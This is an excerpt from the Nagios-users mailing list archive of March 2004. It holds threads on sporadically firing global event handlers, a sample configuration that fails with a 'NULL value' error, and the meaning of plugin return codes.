tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dan.hopkins at uk.easynet.net Tue Mar 23 11:32:54 2004 From: dan.hopkins at uk.easynet.net (Dan Hopkins) Date: Tue, 23 Mar 2004 10:32:54 -0000 Subject: global event handlers firing sporadically in 1 .1 Message-ID: <251F83C07099B54EB727A3B9D784451A07674CBD@vulcan.shepton.office.easynet.net> > -----Original Message----- > From: Dan Hopkins [mailto:dan.hopkins at uk.easynet.net] > Sent: 18 March 2004 09:54 > To: 'nagios-users at lists.sourceforge.net' > Subject: [Nagios-users] global event handlers firing > sporadically in 1.1 > > > Has anyone experienced global event handlers being skipped > (nagios 1.1)? > > We've got two separate installs (freebsd 4.8-REL, Xeon 3GHz, > 2G RAM, 2300 > hosts, 2500 services and a similar specced freebsd 4.9-REL > box with 485 > hosts, 400 services) both running nagios-1.1 with MySQL support for > everything possible. In general, this setup work fine. > > We use global service and host event handlers to create DB > event logs to > replicate the nagios.log in the database, but noticed that > sporadically the > global event handlers just don't fire. There's no obvious > pattern to it, > there's no attempt to execute the event handlers according to the > nagios.log, so it's not an actual failure of the event > handler itself (it's > a very basic command line mysql insert) It doesn't appear to > be due to the > nagios reload problem (this happens anything from 10 to 30 > minutes into a > clean startup of nagios on both boxes) > > I'm going to upgrade to 1.2 shortly, and run with some > debugging to see if > we can trace what's going on, failing that we'll have to tail > the nagios log > itself and create db event entries manually, but that's hardly ideal - > thought I'd check no one here has an answer first? Much as I hate reply to my own posts, I've had no respones to this so I can only assume it's not something that affects anyone else, which in turn leads me to think it's not a problem but my understanding that's flawed. I've now upgraded to Nagios 1.2, but with much the same results. I'll include a short random section of the nagios log, if anyone could point out something obvious I'm missing, I'd be very grateful: * [1080027394] SERVICE ALERT: host-31;GENERIC;CRITICAL;HARD;1;All Down [1080027532] SERVICE ALERT: host-333;GENERIC;WARNING;SOFT;1;One Down [1080027532] GLOBAL SERVICE EVENT HANDLER: host-333;GENERIC;WARNING;SOFT;1;write-db-service-eventlog [1080027642] SERVICE ALERT: host-333;GENERIC;OK;SOFT;2;All Up [1080027642] GLOBAL SERVICE EVENT HANDLER: host-333;GENERIC;OK;SOFT;2;write-db-service-eventlog * [1080028564] SERVICE ALERT: host-96;GENERIC;WARNING;SOFT;1;One Down * [1080028672] SERVICE ALERT: host-96;GENERIC;OK;SOFT;2;All Up [1080028752] SERVICE NOTIFICATION: custserv;host-174;GENERIC;WARNING;notify-by-email;One Down [1080028752] SERVICE NOTIFICATION: corpcustmonitor;host-174;GENERIC;WARNING;notify-by-email;One Down [1080029853] SERVICE ALERT: host-274;SCRIPT;OK;HARD;3;All Up [1080029853] SERVICE NOTIFICATION: custserv;host-274;SCRIPT;OK;notify-by-email;All Up [1080029854] SERVICE NOTIFICATION: corpcustmonitor;host-274;SCRIPT;OK;notify-by-email;All Up [1080029854] GLOBAL SERVICE EVENT HANDLER: host-274;SCRIPT;OK;HARD;3;write-db-service-eventlog [1080030244] Auto-save of retention data completed successfully. I've marked the 3 entries that I think should have associated global event handlers: host-31 in an initial HARD error, and host-96 going into an initial SOFT warning, and recovering a minute or two later. You can clearly see the event handler firing in the other cases. The global event handler is correctly defined and works in all instances in which it actually fires. grep global /usr/local/etc/nagios/nagios.cfg global_host_event_handler=write-db-host-eventlog global_service_event_handler=write-db-service-eventlog Anyone have any thoughts on this? Thanks, -- Dan Hopkins Systems Developer, easynet Ltd. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 23 11:41:44 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 23 Mar 2004 11:41:44 +0100 Subject: global event handlers firing sporadically in 1 .1 In-Reply-To: <251F83C07099B54EB727A3B9D784451A07674CBD@vulcan.shepton.office.easynet.net> References: <251F83C07099B54EB727A3B9D784451A07674CBD@vulcan.shepton.office.easynet.net> Message-ID: <40601468.1080406@op5.se> Silly question, maybe, but is enable_event_handlers explicitly set to 1 in all templates that these hosts and services use? If I remember the code correctly, lower 'levels' of configuration have first priority in a 'laziest possible' way (nagios won't do anything if any of the levels it has to check tells it not to). Cheers, Sourcerer / Andreas Ericsson Dan Hopkins wrote: >>-----Original Message----- >>From: Dan Hopkins [mailto:dan.hopkins at uk.easynet.net] >>Sent: 18 March 2004 09:54 >>To: 'nagios-users at lists.sourceforge.net' >>Subject: [Nagios-users] global event handlers firing >>sporadically in 1.1 >> >> >>Has anyone experienced global event handlers being skipped >>(nagios 1.1)? >> >>We've got two separate installs (freebsd 4.8-REL, Xeon 3GHz, >>2G RAM, 2300 >>hosts, 2500 services and a similar specced freebsd 4.9-REL >>box with 485 >>hosts, 400 services) both running nagios-1.1 with MySQL support for >>everything possible. In general, this setup work fine. >> >>We use global service and host event handlers to create DB >>event logs to >>replicate the nagios.log in the database, but noticed that >>sporadically the >>global event handlers just don't fire. There's no obvious >>pattern to it, >>there's no attempt to execute the event handlers according to the >>nagios.log, so it's not an actual failure of the event >>handler itself (it's >>a very basic command line mysql insert) It doesn't appear to >>be due to the >>nagios reload problem (this happens anything from 10 to 30 >>minutes into a >>clean startup of nagios on both boxes) >> >>I'm going to upgrade to 1.2 shortly, and run with some >>debugging to see if >>we can trace what's going on, failing that we'll have to tail >>the nagios log >>itself and create db event entries manually, but that's hardly ideal - >>thought I'd check no one here has an answer first? > > > Much as I hate reply to my own posts, I've had no respones to this so I can > only assume it's not something that affects anyone else, which in turn leads > me to think it's not a problem but my understanding that's flawed. I've now > upgraded to Nagios 1.2, but with much the same results. I'll include a short > random section of the nagios log, if anyone could point out something > obvious I'm missing, I'd be very grateful: > > * [1080027394] SERVICE ALERT: host-31;GENERIC;CRITICAL;HARD;1;All Down > [1080027532] SERVICE ALERT: host-333;GENERIC;WARNING;SOFT;1;One Down > [1080027532] GLOBAL SERVICE EVENT HANDLER: > host-333;GENERIC;WARNING;SOFT;1;write-db-service-eventlog > [1080027642] SERVICE ALERT: host-333;GENERIC;OK;SOFT;2;All Up > [1080027642] GLOBAL SERVICE EVENT HANDLER: > host-333;GENERIC;OK;SOFT;2;write-db-service-eventlog > * [1080028564] SERVICE ALERT: host-96;GENERIC;WARNING;SOFT;1;One Down > * [1080028672] SERVICE ALERT: host-96;GENERIC;OK;SOFT;2;All Up > [1080028752] SERVICE NOTIFICATION: > custserv;host-174;GENERIC;WARNING;notify-by-email;One Down > [1080028752] SERVICE NOTIFICATION: > corpcustmonitor;host-174;GENERIC;WARNING;notify-by-email;One Down > [1080029853] SERVICE ALERT: host-274;SCRIPT;OK;HARD;3;All Up > [1080029853] SERVICE NOTIFICATION: > custserv;host-274;SCRIPT;OK;notify-by-email;All Up > [1080029854] SERVICE NOTIFICATION: > corpcustmonitor;host-274;SCRIPT;OK;notify-by-email;All Up > [1080029854] GLOBAL SERVICE EVENT HANDLER: > host-274;SCRIPT;OK;HARD;3;write-db-service-eventlog > [1080030244] Auto-save of retention data completed successfully. > > I've marked the 3 entries that I think should have associated global event > handlers: host-31 in an initial HARD error, and host-96 going into an > initial SOFT warning, and recovering a minute or two later. You can clearly > see the event handler firing in the other cases. The global event handler is > correctly defined and works in all instances in which it actually fires. > > grep global /usr/local/etc/nagios/nagios.cfg > global_host_event_handler=write-db-host-eventlog > global_service_event_handler=write-db-service-eventlog > > Anyone have any thoughts on this? > > Thanks, -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dan.hopkins at uk.easynet.net Tue Mar 23 12:00:17 2004 From: dan.hopkins at uk.easynet.net (Dan Hopkins) Date: Tue, 23 Mar 2004 11:00:17 -0000 Subject: global event handlers firing sporadically in 1 .1 Message-ID: <251F83C07099B54EB727A3B9D784451A07674CBE@vulcan.shepton.office.easynet.net> The service level event handlers are all disabled (at least I assuming default value is disabled - the docs aren't explicit, but this would make sense with no event_handler defined or inherited) grep -c event_handler /usr/local/etc/nagios/services.cfg 0 I can try turning on event_handler_enabled in each service definition - but I would be more inclined to suspect this if the global event handler *never* worked. This intermittent thing is weird. Thanks, -- Dan Hopkins Systems Developer, easynet Ltd. > -----Original Message----- > From: Andreas Ericsson [mailto:ae at op5.se] > Sent: 23 March 2004 10:42 > To: 'nagios-users at lists.sourceforge.net' > Subject: Re: [Nagios-users] global event handlers firing > sporadically in > 1 .1 > > > Silly question, maybe, but is enable_event_handlers > explicitly set to 1 > in all templates that these hosts and services use? > If I remember the code correctly, lower 'levels' of > configuration have > first priority in a 'laziest possible' way (nagios won't do > anything if > any of the levels it has to check tells it not to). > > Cheers, > Sourcerer / Andreas Ericsson > > Dan Hopkins wrote: > >>-----Original Message----- > >>From: Dan Hopkins [mailto:dan.hopkins at uk.easynet.net] > >>Sent: 18 March 2004 09:54 > >>To: 'nagios-users at lists.sourceforge.net' > >>Subject: [Nagios-users] global event handlers firing > >>sporadically in 1.1 > >> > >> > >>Has anyone experienced global event handlers being skipped > >>(nagios 1.1)? > >> > >>We've got two separate installs (freebsd 4.8-REL, Xeon 3GHz, > >>2G RAM, 2300 > >>hosts, 2500 services and a similar specced freebsd 4.9-REL > >>box with 485 > >>hosts, 400 services) both running nagios-1.1 with MySQL support for > >>everything possible. In general, this setup work fine. > >> > >>We use global service and host event handlers to create DB > >>event logs to > >>replicate the nagios.log in the database, but noticed that > >>sporadically the > >>global event handlers just don't fire. There's no obvious > >>pattern to it, > >>there's no attempt to execute the event handlers according to the > >>nagios.log, so it's not an actual failure of the event > >>handler itself (it's > >>a very basic command line mysql insert) It doesn't appear to > >>be due to the > >>nagios reload problem (this happens anything from 10 to 30 > >>minutes into a > >>clean startup of nagios on both boxes) > >> > >>I'm going to upgrade to 1.2 shortly, and run with some > >>debugging to see if > >>we can trace what's going on, failing that we'll have to tail > >>the nagios log > >>itself and create db event entries manually, but that's > hardly ideal - > >>thought I'd check no one here has an answer first? > > > > > > Much as I hate reply to my own posts, I've had no respones > to this so I can > > only assume it's not something that affects anyone else, > which in turn leads > > me to think it's not a problem but my understanding that's > flawed. I've now > > upgraded to Nagios 1.2, but with much the same results. > I'll include a short > > random section of the nagios log, if anyone could point out > something > > obvious I'm missing, I'd be very grateful: > > > > * [1080027394] SERVICE ALERT: > host-31;GENERIC;CRITICAL;HARD;1;All Down > > [1080027532] SERVICE ALERT: host-333;GENERIC;WARNING;SOFT;1;One Down > > [1080027532] GLOBAL SERVICE EVENT HANDLER: > > host-333;GENERIC;WARNING;SOFT;1;write-db-service-eventlog > > [1080027642] SERVICE ALERT: host-333;GENERIC;OK;SOFT;2;All Up > > [1080027642] GLOBAL SERVICE EVENT HANDLER: > > host-333;GENERIC;OK;SOFT;2;write-db-service-eventlog > > * [1080028564] SERVICE ALERT: > host-96;GENERIC;WARNING;SOFT;1;One Down > > * [1080028672] SERVICE ALERT: host-96;GENERIC;OK;SOFT;2;All Up > > [1080028752] SERVICE NOTIFICATION: > > custserv;host-174;GENERIC;WARNING;notify-by-email;One Down > > [1080028752] SERVICE NOTIFICATION: > > corpcustmonitor;host-174;GENERIC;WARNING;notify-by-email;One Down > > [1080029853] SERVICE ALERT: host-274;SCRIPT;OK;HARD;3;All Up > > [1080029853] SERVICE NOTIFICATION: > > custserv;host-274;SCRIPT;OK;notify-by-email;All Up > > [1080029854] SERVICE NOTIFICATION: > > corpcustmonitor;host-274;SCRIPT;OK;notify-by-email;All Up > > [1080029854] GLOBAL SERVICE EVENT HANDLER: > > host-274;SCRIPT;OK;HARD;3;write-db-service-eventlog > > [1080030244] Auto-save of retention data completed successfully. > > > > I've marked the 3 entries that I think should have > associated global event > > handlers: host-31 in an initial HARD error, and host-96 > going into an > > initial SOFT warning, and recovering a minute or two later. > You can clearly > > see the event handler firing in the other cases. The global > event handler is > > correctly defined and works in all instances in which it > actually fires. > > > > grep global /usr/local/etc/nagios/nagios.cfg > > global_host_event_handler=write-db-host-eventlog > > global_service_event_handler=write-db-service-eventlog > > > > Anyone have any thoughts on this? > > > > Thanks, > > -- > Mvh > Andreas Ericsson > OP5 AB > +46 (0)733 709032 > andreas.ericsson at op5.se > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter at mcalpinecomputing.net Tue Mar 23 12:47:57 2004 From: peter at mcalpinecomputing.net (Peter McAlpine) Date: Tue, 23 Mar 2004 06:47:57 -0500 Subject: "Error in configuration file"..."Line 34 (NULL value)" In-Reply-To: <12659.1080033721@www62.gmx.net> References: <12659.1080033721@www62.gmx.net> Message-ID: <1080042477.6478.4.camel@pitc> Hello, I'm no expert, but it sounds as though you're referencing a template file as a your primary config file. I think you need to have a main config file (ex - nagios.cfg) and an object config file (ex - object.cfg) and put a: cfg_file=/path/to/object.cfg in your nagios.cfg file. -Peter On Tue, 2004-03-23 at 04:22, rob.le at gmx.de wrote: > Hello , > > I'm a newby in nagios and have a problem with the nagios configuration file: > > I use SuSE9.0 and its nagios-package nagios-1.1-78. A > Minimal-Sample-Configuration file is part of this package. If I try to start nagios with: nagios -v > /etc/nagios/nagios.cfg (after renaming the sample-file to nagios.cfg), i get > the following error: > > ----- > Reading configuration data... > Error in configuration file '/etc/nagios/nagios.cfg' - Line 34 (NULL value) > > ***> One ore mor problems was encountered....(etc,etc). > ------- > > > In Line 34, the timeperiod-definition begins. I can't find any hints, > neither in the documentations nor with google. > > I hope that somone can help me. Thank > you > > Robert > > > nagios.cfg: > > > ############################################################################### > # MINIMAL.CFG > # > # MINIMALISTIC OBJECT CONFIG FILE (Template-Based Object File Format) > # > # Last Modified: 10-03-2002 > # > # > # NOTE: This config file is intended to be used to test a Nagios > installation > # that has been compiled with support for the template-based object > # configuration files. > # > # This config file is intended to servce as an *extremely* simple > # example of how you can create your object configuration file(s). > # If you're interested in more complex object configuration files for > # Nagios, look in the sample-config/template-object/ subdirectory of > # the > distribution. > # > ############################################################################### > > > > ############################################################################### > ############################################################################### > # > # TIME > PERIODS > # > ############################################################################### > ############################################################################### > > # This defines a timeperiod where all times are valid for checks, > # notifications, etc. The classic "24x7" support nightmare. :-) > > define timeperiod { > timeperiod_name 24x7 > alias 24 Hours A Day, 7 Days A Week > sunday 00:00-24:00 > monday 00:00-24:00 > tuesday 00:00-24:00 > wednesday 00:00-24:00 > thursday 00:00-24:00 > friday 00:00-24:00 > saturday 00:00-24:00 > } > > > > #timeperiod[24x7]=24 hours a day, 7 Days a > week;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00 > ############################################################################### > ############################################################################### > # > # > COMMANDS > # > ############################################################################### > ############################################################################### > > # This is a sample service notification command that can be used to send > email > # notifications (about service alerts) to contacts. > > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification > Type: $NOTIFICATIONTYPE$\n\nService: $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: > $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > Info:\n\n$OUTPUT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ alert - > $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ > } > > > # This is a sample host notification command that can be used to send email > # notifications (about host alerts) to contacts. > > define command{ > command_name host-notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification > Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: > $HOSTADDRESS$\nInfo: $OUTPUT$\n\nDate/Time: $DATETIME$\n" | /usr/bin/mail -s "Host > $HOSTSTATE$ alert for $HOSTNAME$!" $CONTACTEMAIL$ > } > > > # Command to check to see if a host is "alive" (up) by pinging it > > define command{ > command_name check-host-alive > command_line /bin/check_ping -H $HOSTADDRESS$ -w 99,99% -c > 100,100% -p 1 > } > > > # Generic command to check a device by pinging it > > define command{ > command_name check_ping > command_line $USER1$/check_ping -H $HOSTADDRESS$ -w $ARG1$ -c $ARG2$ -p 5 > } > > > # Command used to check disk space usage on local partitions > > define command{ > command_name check_local_disk > command_line $USER1$/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$ > } > > > # Command used to check the number of currently logged in users on the > # local machine > > define command{ > command_name check_local_users > command_line $USER1$/check_users -w $ARG1$ -c $ARG2$ > } > > > # Command to check the number of running processing on the local machine > > define command{ > command_name check_local_procs > command_line $USER1$/check_procs -w $ARG1$ -c $ARG2$ > } > > > # Command to check the load on the local machine > > define command{ > command_name check_local_load > command_line $USER1$/check_load -w $ARG1$ -c > $ARG2$ > } > > > > ############################################################################### > ############################################################################### > # > # > CONTACTS > # > ############################################################################### > ############################################################################### > > # In this simple config file, a single contact will receive all alerts. > # This assumes that you have an account (or email alias) called > # "daemon-admin" on the local host. > > define contact{ > contact_name daemon-admin > alias Nagios Admin > service_notification_period 24x7 > host_notification_period 24x7 > service_notification_options w,u,c,r > host_notification_options d,r > service_notification_commands notify-by-email > host_notification_commands host-notify-by-email > email daemon-admin at localhost > > } > > > > ############################################################################### > ############################################################################### > # > # CONTACT > GROUPS > # > ############################################################################### > ############################################################################### > > # We only have one contact in this simple configuration file, so there is > # no need to create more than one contact group. > > define contactgroup{ > contactgroup_name admins > alias Nagios Administrators > members daemon-admin > > } > > > > ############################################################################### > ############################################################################### > # > # > HOSTS > # > ############################################################################### > ############################################################################### > > # Generic host definition template - This is NOT a real host, just a > template! > > define host{ > name generic-host ; The name of this > host template > notifications_enabled 1 ; Host notifications are > enabled > event_handler_enabled 1 ; Host event handler is > enabled > flap_detection_enabled 1 ; Flap detection is enabled > failure_prediction_enabled 1 ; Failure prediction is > enabled > process_perf_data 1 ; Process performance data > retain_status_information 1 ; Retain status information > across program restarts > retain_nonstatus_information 1 ; Retain non-status > information across program restarts > register 0 ; DONT REGISTER THIS > DEFINITION - ITS NOT A REAL HOST, JUST A TEMPLATE! > } > > > # Since this is a simple configuration file, we only monitor one host - the > # local host (this machine). > > define host{ > use generic-host ; Name of host > template to use > host_name localhost > alias localhost > address 127.0.0.1 > check_command check-host-alive > max_check_attempts 10 > notification_interval 120 > notification_period 24x7 > notification_options d,r > > } > > > > ############################################################################### > ############################################################################### > # > # HOST > GROUPS > # > ############################################################################### > ############################################################################### > > # We only have one host in our simple config file, so there is no need to > # create more than one hostgroup. > > define hostgroup{ > hostgroup_name test > alias Test Servers > contact_groups admins > members localhost > > } > > > > ############################################################################### > ############################################################################### > # > # > SERVICES > # > ############################################################################### > ############################################################################### > > # Generic service definition template - This is NOT a real service, just a > template! > > define service{ > name generic-service ; The 'name' of this > service template > active_checks_enabled 1 ; Active service checks are > enabled > passive_checks_enabled 1 ; Passive service checks are > enabled/accepted > parallelize_check 1 ; Active service checks > should be parallelized (disabling this can lead to major performance problems) > obsess_over_service 1 ; We should obsess over this > service (if necessary) > check_freshness 0 ; Default is to NOT check > service 'freshness' > notifications_enabled 1 ; Service notifications are > enabled > event_handler_enabled 1 ; Service event handler is > enabled > flap_detection_enabled 1 ; Flap detection is enabled > failure_prediction_enabled 1 ; Failure prediction is > enabled > process_perf_data 1 ; Process performance data > retain_status_information 1 ; Retain status information > across program restarts > retain_nonstatus_information 1 ; Retain non-status > information across program restarts > register 0 ; DONT REGISTER THIS > DEFINITION - ITS NOT A REAL SERVICE, JUST A TEMPLATE! > } > > > # Define a service to "ping" the local machine > > define service{ > use generic-service ; Name of > service template to use > host_name localhost > service_description PING > is_volatile 0 > check_period 24x7 > max_check_attempts 4 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 960 > notification_period 24x7 > check_command check_ping!100.0,20%!500.0,60% > } > > > # Define a service to check the disk space of the root partition > # on the local machine. Warning if < 20% free, critical if > # < 10% free space on partition. > > define service{ > use generic-service ; Name of > service template to use > host_name localhost > service_description Root Partition > is_volatile 0 > check_period 24x7 > max_check_attempts 4 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 960 > notification_period 24x7 > check_command check_local_disk!20%!10%!/ > } > > > > # Define a service to check the number of currently logged in > # users on the local machine. Warning if > 20 users, critical > # if > 50 users. > > define service{ > use generic-service ; Name of > service template to use > host_name localhost > service_description Current Users > is_volatile 0 > check_period 24x7 > max_check_attempts 4 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 960 > notification_period 24x7 > check_command check_local_users!20!50 > } > > > # Define a service to check the number of currently running procs > # on the local machine. Warning if > 250 processes, critical if > # > 400 users. > > define service{ > use generic-service ; Name of > service template to use > host_name localhost > service_description Total Processes > is_volatile 0 > check_period 24x7 > max_check_attempts 4 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 960 > notification_period 24x7 > check_command check_local_procs!250!400 > } > > > > # Define a service to check the load on the local machine. > > define service{ > use generic-service ; Name of > service template to use > host_name localhost > service_description Current Load > is_volatile 0 > check_period 24x7 > max_check_attempts 4 > normal_check_interval 5 > retry_check_interval 1 > contact_groups admins > notification_interval 960 > notification_period 24x7 > check_command check_local_load!5.0,4.0,3.0!10.0,6.0,4.0 > } > > > > # EOF > > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From meck at chilitech.net Tue Mar 23 14:50:05 2004 From: meck at chilitech.net (Michael Eck) Date: Tue, 23 Mar 2004 08:50:05 -0500 Subject: Service Configuration Question In-Reply-To: <405F5F9E.6000303@op5.se> References: <405F5F9E.6000303@op5.se> Message-ID: Unless my source is not authoritative in this matter, plugin return codes can also be used to communicate to Nagios when a value has surpassed a certain threshold. See the Nagios plug-in development guidelines for more information on what I'm talking about (http://nagiosplug.sourceforge.net/developer-guidelines.html). Further, checking an SNMP gauge and reporting OK merely on the condition that proper parameters were passed to the plugin and some value was received by the check would make for a totally worthless checking logic. How would Nagios know the difference between an acceptable and unacceptable value? The plugin behavior that you describe makes sense for services like SMTP, HTTP, etc., when a timeout could be either a service or a host problem (or something in between) but doesn't seem appropriate for checking things like used disk space, temperature, or some other gauge type value. Here's a cut of the table about which I wrote from the guidelines. This is the understanding that I have of the return codes: Numeric Value Service Status Status Description 0 - OK - The plugin was able to check the service and it appeared to be functioning properly 1 - Warning -The plugin was able to check the service, but it appeared to be above some "warning" threshold or did not appear to be working properly 2 - Critical - The plugin detected that either the service was not running or it was above some "critical" threshold 3 - Unknown - Invalid command line arguments were supplied to the plugin or the plugin was unable to check the status of the given hosts/service On Mar 22, 2004, at 4:50 PM, Andreas Ericsson wrote: > Service checks that aren't subject to user-error should return > critical when experiencing network problems (no data received, for > instance). > UNKNOWN should only be returned when bad parameters have been passed > to the plugin, or when the files or directories the plugin depends on > are missing. > > Because of a lot of the plugin authors fail to conform to that > standard, nagios has a hard time doing The Right Thing and keeping > users happy at the same time. > > Michael Eck wrote: >> Is there any way to configure a service so that Nagios only performs >> the host check when a particular non-OK state is returned by the >> service check? For example, I have a service check that, when in a >> critical or warning state, the host is necessarily up (it's an SNMP >> value), but when in an unknown state the host may be down. My >> problem is that Nagios is performing too many host checks on hosts >> that are clearly up but in a non-OK state. I'm either missing >> something in the check logic, missing a configuration directive, or >> Nagios can't do this. >> Thanks for the help. >> ---- >> Michael Eck >> Chilitech Internet Solutions >> Network Operations Center >> 570-323-2166 >> http://www.chilitech.net >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. ::: Messages without supporting info will risk >> being sent to /dev/null > > -- > Mvh / Best regards > Sourcerer / Andreas Ericsson > OP5 AB > +46 (0)733 709032 > andreas.ericsson at op5.se > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > ---- Michael Eck Chilitech Internet Solutions Network Operations Center 570-323-2166 http://www.chilitech.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 4570 bytes Desc: not available URL: From pla at softflare.com Tue Mar 23 15:24:18 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 23 Mar 2004 14:24:18 +0000 Subject: Service Configuration Question In-Reply-To: References: <405F5F9E.6000303@op5.se> Message-ID: <20040323142418.12040.qmail@minnow.softflare.net> Michael Eck writes: > 0 - OK - The plugin was able to check the service and it appeared to be > functioning properly > > 1 - Warning -The plugin was able to check the service, but it appeared to > be above some "warning" threshold or did not appear to be working properly > > 2 - Critical - The plugin detected that either the service was not running > or it was above some "critical" threshold > > 3 - Unknown - Invalid command line arguments were supplied to the plugin > or the plugin was unable to check the status of the given hosts/service > On Mar 22, 2004, at 4:50 PM, Andreas Ericsson wrote: 4 - Dependent - Nothing in the documentation I've looked through suggests under what circumstances this should be used, but it's in utils.pm -1 - Unknown - value returned by earlier versions of plugins before they were made posixly-compatible. Should not be returned by new plugins. Other values - Plugin badly written. :) -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 23 15:39:31 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 23 Mar 2004 15:39:31 +0100 Subject: Service Configuration Question In-Reply-To: References: <405F5F9E.6000303@op5.se> Message-ID: <40604C23.3020200@op5.se> You misread me. Ofcourse threshhold values should be accepted, and they are. Michael Eck wrote: > Unless my source is not authoritative in this matter, plugin return > codes can also be used to communicate to Nagios when a value has > surpassed a certain threshold. See the Nagios plug-in development > guidelines for more information on what I'm talking about > (http://nagiosplug.sourceforge.net/developer-guidelines.html). > You misread me. What I said was that a plugin shouldn't return UNKNOWN unless the user has passed it bad arguments or something isn't installed properly (file missing, et al). > Further, checking an SNMP gauge and reporting OK merely on the condition > that proper parameters were passed to the plugin and some value was > received by the check would make for a totally worthless checking logic. Again, that's not what I said. But if the plugin can't fetch any data at ALL (snmpget times out), it's supposed to return CRITICAL and not UNKNOWN. > How would Nagios know the difference between an acceptable and > unacceptable value? The plugin behavior that you describe makes sense > for services like SMTP, HTTP, etc., when a timeout could be either a > service or a host problem (or something in between) but doesn't seem > appropriate for checking things like used disk space, temperature, or > some other gauge type value. > Read above. > Here's a cut of the table about which I wrote from the guidelines. This > is the understanding that I have of the return codes: > *Numeric Value Service Status Status Description > > *0 - OK - The plugin was able to check the service and it appeared to be > functioning properly > > 1 - Warning -The plugin was able to check the service, but it appeared > to be above some "warning" threshold or did not appear to be working > properly > > 2 - Critical - The plugin detected that either the service was not > running or it was above some "critical" threshold > My point exactly. If snmpd (or SNMP.exe in case of M$) isn't running, or isn't responding within the specified timeout, it should be considered a critical error, since the service fails to respond. > 3 - Unknown - Invalid command line arguments were supplied to the plugin > or the plugin was unable to check the status of the given hosts/service > On Mar 22, 2004, at 4:50 PM, 